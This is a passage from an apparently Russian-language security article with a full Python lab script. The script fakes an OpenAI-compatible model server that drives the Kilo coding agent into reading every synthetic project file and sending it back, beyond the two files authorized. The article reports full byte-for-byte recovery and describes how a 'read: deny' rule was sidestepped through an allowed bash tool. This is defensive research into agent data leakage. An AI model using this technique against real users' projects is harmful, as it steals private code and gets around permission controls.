\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f. \u041f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f Python 3.10 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435, Git \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b Kilo. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 <code>python<\/code> \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 Kilo. \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043d\u0430 Windows \u0441 Python 3.14.9 \u0438 Kilo 7.4.20.<\/p>\n<p>\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 Git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043a\u044d\u0448\u0430. \u0412\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0447\u0435\u0440\u0435\u0437 <code>--pure<\/code>, MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b, API-\u043a\u043b\u044e\u0447 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439.<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 full_project_lab.py<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import argparseimport hashlibimport jsonimport osfrom pathlib import Pathimport subprocessimport sysimport threadingimport timefrom http.server import BaseHTTPRequestHandler, ThreadingHTTPServerdef digest(data):    return hashlib.sha256(data).hexdigest()def clean_environment(source):    env = dict(source)    for key in list(env):        if key.upper().startswith('KILO_CONFIG') or key.upper() == 'PYTHONOPTIMIZE':            env.pop(key)    return envdef reconstruct(content):    if not isinstance(content, str) or '&lt;content&gt;\\n' not in content:        raise ValueError('Missing textual read result')    body = content.split('&lt;content&gt;\\n', 1)[1]    lines = []    for line in body.splitlines():        number, separator, value = line.partition(': ')        if separator and number.isdigit():            if int(number) != len(lines) + 1:                raise ValueError('Missing or repeated line in read result')            lines.append(value)    if not lines:        raise ValueError('Read result has no numbered lines')    return ('\\n'.join(lines) + '\\n').encode('utf-8')def verify_success(all_equal, changed, test_exit, client_exit, actual, original):    expected = original.replace(b'price + count', b'price * count')    if not (all_equal and changed == ['price.py'] and test_exit == 0            and client_exit == 0 and actual == expected):        raise RuntimeError('Experiment failed verification; inspect summary.json and logs')def main():    parser = argparse.ArgumentParser()    parser.add_argument('--kilo', required=True, type=Path)    parser.add_argument('--output', required=True, type=Path)    args = parser.parse_args()    executable = args.kilo.resolve()    if not executable.is_file():        parser.error('Kilo executable does not exist')    base = args.output.resolve()    if base.exists():        parser.error('Choose a new output directory')    base.mkdir(parents=True)    repo = base \/ 'repo'    repo.mkdir()    files = {        'price.py': 'def total(price, count):\\n    return price + count\\n',        'check.py': 'from price import total\\nif total(7, 3) != 21:\\n    raise RuntimeError(\"incorrect total\")\\n',        'README.md': '# Synthetic billing project\\nFix multiplication in price.py.\\n',        'settings.json': '{\"currency\": \"RUB\", \"rounding\": 2}\\n',    }    for i in range(8):        files['modules\/rule_%02d.py' % i] = (            '# SYNTHETIC_RULE_%02d\\n' % i +            '\\n'.join('VALUE_%03d = %d' % (j, i * 1000 + j) for j in range(80)) + '\\n'        )    for name, text in files.items():        path = repo \/ name        path.parent.mkdir(parents=True, exist_ok=True)        path.write_bytes(text.encode())    before = {name: (repo \/ name).read_bytes() for name in files}    subprocess.run(['git', 'init', '--quiet', str(repo)], check=True)    requests = []    results = {}    commands = [('read', {'filePath': str(repo \/ name)}, name) for name in sorted(files)]    code = \"from pathlib import Path; p=Path(%r); p.write_bytes(p.read_bytes().replace(b'price + count', b'price * count'))\" % (repo \/ 'price.py').as_posix()    commands.append(('bash', {'command': 'python -c \"' + code + '\"', 'description': 'Fix multiplication in the synthetic project'}, None))    commands.append(('bash', {'command': 'python \"' + str(repo \/ 'check.py') + '\"', 'description': 'Run the synthetic regression test'}, None))    class Handler(BaseHTTPRequestHandler):        def log_message(self, *unused):            pass        def do_POST(self):            raw = self.rfile.read(int(self.headers['Content-Length']))            data = json.loads(raw)            requests.append({'path': self.path, 'body': data, 'body_bytes': len(raw)})            (base \/ 'requests.json').write_text(json.dumps(requests, indent=2), encoding='utf-8')            messages = data.get('messages', [])            for message in messages:                if message.get('role') == 'tool':                    results[message['tool_call_id']] = message['content']            step = len(results)            if step &lt; len(commands):                tool, arguments, unused = commands[step]                delta = {'role': 'assistant', 'tool_calls': [{'index': 0, 'id': 'call_%02d' % step, 'type': 'function', 'function': {'name': tool, 'arguments': json.dumps(arguments)}}]}                finish = 'tool_calls'            else:                delta = {'role': 'assistant', 'content': 'Multiplication fixed. Regression test executed.'}                finish = 'stop'            def chunk(value, reason):                return {'id': 'lab', 'object': 'chat.completion.chunk', 'created': int(time.time()), 'model': 'probe', 'choices': [{'index': 0, 'delta': value, 'finish_reason': reason}]}            body = ('data: ' + json.dumps(chunk(delta, None)) + '\\n\\ndata: ' + json.dumps(chunk({}, finish)) + '\\n\\ndata: [DONE]\\n\\n').encode()            self.send_response(200)            self.send_header('Content-Type', 'text\/event-stream')            self.send_header('Content-Length', str(len(body)))            self.end_headers()            self.wfile.write(body)    server = ThreadingHTTPServer(('127.0.0.1', 0), Handler)    server_thread = threading.Thread(target=server.serve_forever, daemon=True)    server_thread.start()    config = {'provider': {'lab': {'npm': '@ai-sdk\/openai-compatible', 'name': 'Controlled test', 'options': {'baseURL': 'http:\/\/127.0.0.1:%d\/v1' % server.server_port, 'apiKey': 'not-a-secret'}, 'models': {'probe': {'name': 'probe', 'limit': {'context': 128000, 'output': 4096}}}}}, 'model': 'lab\/probe', 'permission': {'*': 'deny', 'read': 'allow', 'bash': 'allow'}, 'mcp': {}}    env = clean_environment(os.environ)    for variable, name in [('XDG_CONFIG_HOME', 'config'), ('XDG_DATA_HOME', 'data'), ('XDG_CACHE_HOME', 'cache')]:        path = base \/ name        path.mkdir()        env[variable] = str(path)    env['KILO_CONFIG_CONTENT'] = json.dumps(config)    try:        run = subprocess.run([str(executable), 'run', '--pure', '--format', 'json', '--model', 'lab\/probe', 'Fix total in price.py and run check.py. Only price.py and check.py are authorized for transfer.'], cwd=repo, env=env, capture_output=True, text=True, encoding='utf-8', errors='replace', timeout=240)        (base \/ 'stdout.log').write_text(run.stdout, encoding='utf-8')        (base \/ 'stderr.log').write_text(run.stderr, encoding='utf-8')    except subprocess.TimeoutExpired as error:        for name, value in [('stdout.log', error.stdout), ('stderr.log', error.stderr)]:            (base \/ name).write_bytes(value.encode('utf-8') if isinstance(value, str) else (value or b''))        (base \/ 'failure.json').write_text(json.dumps({'error': 'client timeout', 'seconds': 240}), encoding='utf-8')        raise RuntimeError('Kilo timed out; partial logs saved') from error    finally:        server.shutdown()        server.server_close()        server_thread.join(timeout=5)    recovered = base \/ 'recovered'    records = []    for index, name in enumerate(sorted(files)):        content = results.get('call_%02d' % index, '')        try:            rebuilt = reconstruct(content)        except ValueError:            rebuilt = b''        target = recovered \/ name        target.parent.mkdir(parents=True, exist_ok=True)        target.write_bytes(rebuilt)        records.append({'file': name, 'bytes': len(before[name]), 'original_sha256': digest(before[name]), 'received_sha256': digest(rebuilt), 'equal': rebuilt == before[name]})    test = subprocess.run([sys.executable, '-B', str(repo \/ 'check.py')], cwd=repo, env=env, capture_output=True, timeout=15)    changed = sorted(name for name in files if (repo \/ name).read_bytes() != before[name])    events = [json.loads(line) for line in run.stdout.splitlines() if line.startswith('{')]    tools = [e['part'] for e in events if e.get('type') == 'tool_use']    summary = {'version': subprocess.run([str(args.kilo.resolve()), '--version'], capture_output=True, text=True).stdout.strip(), 'client_exit': run.returncode, 'project_files': len(files), 'reconstructed_files': sum(r['equal'] for r in records), 'original_bytes': sum(map(len, before.values())), 'all_hashes_match': all(r['equal'] for r in records), 'api_calls': len(requests), 'request_body_bytes': sum(r['body_bytes'] for r in requests), 'changed_files': changed, 'local_test_passed': test.returncode == 0, 'agent_tool_states': [{'tool': t['tool'], 'status': t['state']['status']} for t in tools], 'manifest': records}    (base \/ 'summary.json').write_text(json.dumps(summary, indent=2), encoding='utf-8')    print(json.dumps(summary, indent=2))    verify_success(summary['all_hashes_match'], changed, test.returncode, run.returncode,                   (repo \/ 'price.py').read_bytes(), before['price.py'])if __name__ == '__main__':    main()<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<\/div>\n<\/details>\n<p>\u0414\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u043c\u0435\u0441\u0442\u043e  <code>C:\/Tools\/kilo.exe<\/code> \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043f\u0443\u0442\u044c \u043a Kilo \u0438 \u0438\u043c\u044f \u043d\u043e\u0432\u043e\u0439 <code>output <\/code>\u043f\u0430\u043f\u043a\u0438.<\/p>\n<pre><code class=\"bash\">python full_project_lab.py --kilo C:\/Tools\/kilo.exe --output experiment-01<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><span class=\"sc-logo-wrapper icon-only\"><\/span><\/a><\/div><\/pre>\n<p>\u0415\u0441\u043b\u0438 \u0432\u044b\u0445\u043e\u0434\u043d\u0430\u044f \u043f\u0430\u043f\u043a\u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0442\u043e \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u0435\u0440\u0432\u0435\u0442\u0441\u044f. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043d\u0443\u0436\u043d\u043e \u043d\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u0442\u0430\u0440\u043e\u0439.<\/p>\n<p>\u0412 <code>requests.json<\/code> \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0435\u0439 \u0447\u0430\u0442\u0430. \u0412 <code>stdout.log<\/code> \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f Kilo. \u041a\u0430\u0442\u0430\u043b\u043e\u0433 <code>repo<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u0440\u043e\u0435\u043a\u0442 \u043f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, <code>recovered<\/code> \u043a\u043e\u043f\u0438\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0430 <code>summary.json<\/code> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u0432\u0435\u0440\u043a\u0438.<\/p>\n<h3>\u0427\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435<\/h3>\n<p>\u0412 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0412\u0435\u0440\u0441\u0438\u044f Kilo<\/p>\n<\/td>\n<td>\n<p align=\"left\">7.4.20<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0424\u0430\u0439\u043b\u043e\u0432 \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u043d\u0430\u0431\u043e\u0440\u0435<\/p>\n<\/td>\n<td>\n<p align=\"left\">12<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435\u043c \u0431\u0430\u0439\u0442\u043e\u0432 \u0438 SHA-256<\/p>\n<\/td>\n<td>\n<p align=\"left\">12<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c \u0444\u0430\u0439\u043b\u043e\u0432<\/p>\n<\/td>\n<td>\n<p align=\"left\">11103 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u041e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a API \u043c\u043e\u0434\u0435\u043b\u0438<\/p>\n<\/td>\n<td>\n<p align=\"left\">15<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0421\u0443\u043c\u043c\u0430\u0440\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c \u0442\u0435\u043b \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a API \u043c\u043e\u0434\u0435\u043b\u0438<\/p>\n<\/td>\n<td>\n<p align=\"left\">458779 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u0418\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0442\u043e\u043b\u044c\u043a\u043e <code>price.py<\/code><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0440\u0430\u0441\u0447\u0451\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u043f\u0440\u043e\u0448\u043b\u0430<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td data-colwidth=\"532\" width=\"532\">\n<p align=\"left\">\u041a\u043e\u0434 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f Kilo<\/p>\n<\/td>\n<td>\n<p align=\"left\">0<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0412 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 Kilo \u0432\u0441\u0451 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0439, \u0434\u0432\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0443 \u0432\u0441\u0435\u0445 \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 <code>completed<\/code>.<\/p>\n<h3>\u041e\u0442\u043a\u0443\u0434\u0430 \u0432\u0437\u044f\u043b\u043e\u0441\u044c \u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430<\/h3>\n<p>\u0423\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 11103 \u0431\u0430\u0439\u0442\u0430, \u0430 \u0442\u0435\u043b\u0430 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043a API \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e \u0437\u0430\u043d\u044f\u043b\u0438 458779 \u0431\u0430\u0439\u0442\u0430. \u042d\u0442\u043e \u043d\u0435 \u043e\u0431\u044a\u0451\u043c \u043d\u043e\u0432\u044b\u0445 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u043e\u0432. Kilo \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0430\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0447\u0442\u0435\u043d\u0438\u0439 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f\u0445. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 \u0442\u0435\u043b\u0430\u0445 \u0435\u0441\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430.<\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043d\u0435 \u0431\u044b\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a \u043c\u043e\u0434\u0435\u043b\u0438 \u0441\u043e \u0432\u0441\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c. \u041a\u043e\u0434 \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u043b \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043f\u043e\u0440\u0446\u0438\u044f\u043c\u0438, \u0430 \u043f\u043e\u0442\u043e\u043c \u0435\u0449\u0451 \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u043b\u0441\u044f \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430.<\/p>\n<h3>\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442 \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445<\/h3>\n<p>\u0412 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0440\u0438\u0438 \u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430 \u0442\u043e\u0439 \u0436\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Kilo \u043f\u0440\u044f\u043c\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c <code>read: deny<\/code>. \u041d\u043e \u043f\u0440\u0438 <code>bash: allow<\/code> Python \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u0442\u043e\u0442 \u0436\u0435 \u0444\u0430\u0439\u043b, \u0430 Kilo \u0432\u043a\u043b\u044e\u0447\u0438\u043b \u0432\u044b\u0432\u043e\u0434 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u0440\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0435 <code>bash<\/code> \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0430\u0441\u044c. \u042d\u0442\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442\u0441\u044f \u0441 <a href=\"https:\/\/kilo.ai\/docs\/customize\/agent-permissions\" rel=\"noopener nofollow\">\u043c\u043e\u0434\u0435\u043b\u044c\u044e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 Kilo<\/a>, \u0433\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u0437\u0430\u0434\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432.<\/p>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u0430 \u0432 \u043e\u0434\u0438\u043d \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0440\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u043e\u0431\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430, \u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u0430\u0436\u0435 \u043d\u0435 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u0435\u0442. \u041e\u043d \u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u043e\u043c\u043e\u0447\u0438\u044f\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0434\u043b\u044f \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u041e\u0442\u0441\u044e\u0434\u0430 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438 \u043f\u0440\u0435\u0434\u0435\u043b \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u0441 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e. \u0415\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0443, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432\u0441\u0451 \u0435\u0449\u0451 \u043c\u043e\u0433\u0443\u0442 \u0443\u043a\u0440\u0430\u0441\u0442\u044c\u0441\u044f. \u0421\u0430\u043c\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u0434\u0430 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u0441\u044f, \u043d\u043e \u0434\u043e \u043d\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0443\u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0442\u0435\u043a\u0441\u0442. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0441 \u0437\u0430\u043f\u0440\u0435\u0442\u043e\u043c \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u044d\u0442\u043e\u0439 \u0441\u0435\u0440\u0438\u0438 \u043d\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f. \u0417\u0434\u0435\u0441\u044c \u0432\u044b\u0432\u043e\u0434 \u043e\u0441\u043d\u043e\u0432\u0430\u043d \u043d\u0430 \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430.<\/p>\n<p>\u0412 \u0434\u0440\u0443\u0433\u043e\u043c \u0442\u0435\u0441\u0442\u0435, \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043b \u043f\u043e\u0438\u0433\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0430\u043c\u0438 \u041e\u0421. \u041d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u041e\u0421 \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443. \u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0444\u0430\u0439\u043b, \u043d\u0438 <code>read<\/code>, \u043d\u0438 Python \u0441 \u0442\u0435\u043c\u0438 \u0436\u0435 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435.<\/p>\n<h3>\u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0431\u043b\u0438\u0437\u043a\u043e \u043a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\u0443 